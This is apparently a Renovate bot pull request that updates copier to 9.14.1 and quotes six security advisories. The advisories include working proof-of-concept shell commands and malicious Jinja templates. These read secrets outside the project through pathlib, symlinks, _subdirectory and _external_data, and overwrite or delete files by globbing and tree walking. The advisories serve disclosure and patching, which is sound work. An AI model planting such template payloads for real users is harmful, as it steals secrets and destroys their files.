Update dependency copier to v9.14.1 [SECURITY] by renovate[bot] · Pull Request #279 · softboiler/boilerdata

renovate · 2025-08-18T22:06:04Z

This PR contains the following updates:

Package	Change	Age	Confidence
copier	`==9.3.1` → `==9.14.1`

GitHub Vulnerability Alerts

CVE-2025-55201

Impact

Copier's current security model shall restrict filesystem access through Jinja:

Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

Read known file:

echo "s3cr3t" > secret.txt
mkdir src/
echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
uvx copier copy src/ dst/
cat dst/stolen-secret.txt

Read unknown file(s) via globbing:

mkdir secrets/
echo "s3cr3t #&#8203;1" > secrets/secret1.txt
echo "s3cr3t #&#8203;2" > secrets/secret2.txt
mkdir src/
cat <<'EOF' > src/stolen-secrets.txt.jinja
stolen secrets:
{% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
{% for f in parent.glob('*.txt') %}
{{ f }}: {{ f.read_text('utf-8') }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat dst/stolen-secrets.txt

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

Overwrite known file:

echo "s3cr3t" > secret.txt
mkdir src/
echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
uvx copier copy src/ dst/
cat secret.txt

Overwrite unknown file(s) via globbing:

echo "s3cr3t" > secret.txt
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..').resolve() %}
{% for f in (parent.glob('*.txt') | list) %}
{{ f.write_text('OVERWRITTEN', 'utf-8') }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat secret.txt

Delete unknown file(s) via globbing:

echo "s3cr3t" > secret.txt
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..').resolve() %}
{% for f in (parent.glob('*.txt') | list) %}
{{ f.unlink() }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat secret.txt

Delete unknown files and directories via tree walking:

mkdir data
mkdir data/a
mkdir data/a/b
echo "foo" > data/foo.txt
echo "bar" > data/a/bar.txt
echo "baz" > data/a/b/baz.txt
tree data/
mkdir src/
cat <<'EOF' > src/malicious.txt.jinja
{% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
{% for root, dirs, files in parent.walk(top_down=False) %}
{% for name in files %}
{{ (root / name).unlink() }}
{% endfor %}
{% for name in dirs %}
{{ (root / name).rmdir() }}
{% endfor %}
{% endfor %}
EOF
uvx copier copy src/ dst/
tree data/

CVE-2025-55214

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

POSIX:

# Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src/ dst/
cat forbidden.txt

Windows (PowerShell):

# Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
echo "foo" > forbidden.txt
mkdir src
Set-Content -Path src\copier.yml @&#8203;'
drive:
  type: str
  default: "C:"
  when: false
'@&#8203;
echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src dst
cat forbidden.txt

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

CVE-2026-23968

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

Illegally include a file in the generated project via symlink resolution:

echo "s3cr3t" > secret.txt

mkdir src/
pushd src/
ln -s ../secret.txt stolen-secret.txt
popd

uvx copier copy src/ dst/

cat dst/stolen-secret.txt
#s3cr3t

Illegally include a directory in the generated project via symlink resolution:

mkdir secrets/
pushd secrets/
echo "s3cr3t" > secret.txt
popd

mkdir src/
pushd src/
ln -s ../secrets stolen-secrets
popd

uvx copier copy src/ dst/

tree dst/
# dst/
# └── stolen-secrets
#     └── secret.txt
#
# 1 directory, 1 file
cat dst/stolen-secrets/secret.txt
# s3cr3t

Patches

n/a

Workarounds

n/a

References

n/a

CVE-2026-23986

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Note

At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using os.scandir which yields directory entries in arbitrary order.

Reproducible example (may or may not work depending on directory entry yield order):

mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd

mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .

# .
# ├── copier.yml

# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja

#
# 1 directory, 2 files
popd

uvx copier copy --overwrite src/ dst/

cat other/sensitive.txt

# overwritten

Patches

n/a

Workarounds

n/a

References

n/a

CVE-2026-34726

Summary

Copier's _subdirectory setting is documented as the subdirectory to use as the template root. However, the current implementation accepts parent-directory traversal such as .. and uses it directly when selecting the template root.

As a result, a template can escape its own directory and make Copier render files from the parent directory without --UNSAFE.

Details

The relevant code path is:

the template defines _subdirectory
Copier renders that string
template_copy_root returns self.template.local_abspath / subdir
Copier walks that directory as the template root

Relevant code:

The effective sink is:

subdir = self._render_string(self.template.subdirectory) or ""
return self.template.local_abspath / subdir

There is no check that the resulting path stays inside the template directory.

The documentation for _subdirectory describes it as:

Subdirectory to use as the template root when generating a project.

and explains it as a way to separate template metadata from template source code:

https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L1582-L1646

That description fits values like template or poetry, but not ...

PoC

PoC 1: `_subdirectory: ..` escapes to the parent directory

mkdir -p root/template dst
echo 'loot' > root/loot.txt
printf '%s\n' '_subdirectory: ..' > root/template/copier.yml

copier copy --overwrite root/template dst
find dst -maxdepth 3 -type f | sort
cat dst/loot.txt

Expected output includes:

dst/loot.txt
dst/template/copier.yml
loot

This shows Copier is rendering from root/ rather than from root/template/.

Impact

If a user runs Copier on an untrusted template, that template can change the effective template root and make Copier render files from outside the intended template directory.

Practical impact:

template-root escape via ..
rendering of parent-directory files that were not meant to be part of the template
possible without --UNSAFE

CVE-2026-34730

Summary

Copier's _external_data feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.

However, the current implementation also allows destination-external reads, including:

Parent-directory paths such as ../secret.yml
Absolute paths such as /tmp/secret.yml

and then exposes the parsed contents in rendered output.

This is possible without --UNSAFE, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.

Details

The relevant flow is:

A template defines _external_data
Copier renders the configured path string
Copier calls load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)
load_answersfile_data() opens Path(dst_path, answers_file) directly
Parsed YAML becomes available as _external_data.<name> during rendering

Relevant code:

The sink is:

with Path(dst_path, answers_file).open("rb") as fd:
    return yaml.safe_load(fd)

There is no containment check to ensure the resulting path stays inside the subproject destination.

This is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise ForbiddenPathError, and that behavior is explicitly covered by existing tests in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/tests/test_copy.py#L1289-L1332. _external_data does not apply an equivalent containment check.

The public documentation describes _external_data values as relative paths "from the subproject destination" in https://github.com/copier-org/copier/blob/7aa7021bd73797c982492bac3535515d4484fdb7/docs/configuring.md#L944-L1005, with examples using .copier-answers.yml and .secrets.yaml. That clearly supports relative-path usage, but it does not clearly communicate that a template may escape the destination with ../... or read arbitrary absolute paths. Because this behavior also works without --UNSAFE, it seems worth clarifying whether destination-external reads are intended, and if so, whether they should be documented as security-sensitive behavior.

PoC

PoC 1: `_external_data` reads outside the destination with `../`

mkdir src dst
echo 'token: topsecret' > secret.yml

printf '%s\n' '_external_data:' '  secret: ../secret.yml' > src/copier.yml
printf '%s\n' '' > src/leak.txt.jinja

copier copy --overwrite src dst
cat dst/leak.txt

Expected output:

topsecret

PoC 2: `_external_data` reads an absolute path

mkdir abs-src abs-dst
echo 'token: abssecret' > absolute-secret.yml

printf '%s\n' '_external_data:' "  secret: $(pwd)/absolute-secret.yml" > abs-src/copier.yml
printf '%s\n' '' > abs-src/leak.txt.jinja

copier copy --overwrite abs-src abs-dst
cat abs-dst/leak.txt

Expected output:

abssecret

Impact

If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.

Practical impact:

Destination-external local file read
Disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under yaml.safe_load
Possible without --UNSAFE

Release Notes

copier-org/copier (copier)

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GitHub Vulnerability Alerts

Impact

Arbitrary read access

Arbitrary write access

Impact

Write access via generated relative path

Write access via generated absolute path

Impact

Patches

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References

Impact

Patches

Workarounds

References

Summary

Details

PoC

PoC 1: _subdirectory: .. escapes to the parent directory

Impact

Summary

Details

PoC

PoC 1: _external_data reads outside the destination with ../

PoC 2: _external_data reads an absolute path

Impact

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renovate bot commented Aug 18, 2025 •

edited

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PoC 1: `_subdirectory: ..` escapes to the parent directory

PoC 1: `_external_data` reads outside the destination with `../`

PoC 2: `_external_data` reads an absolute path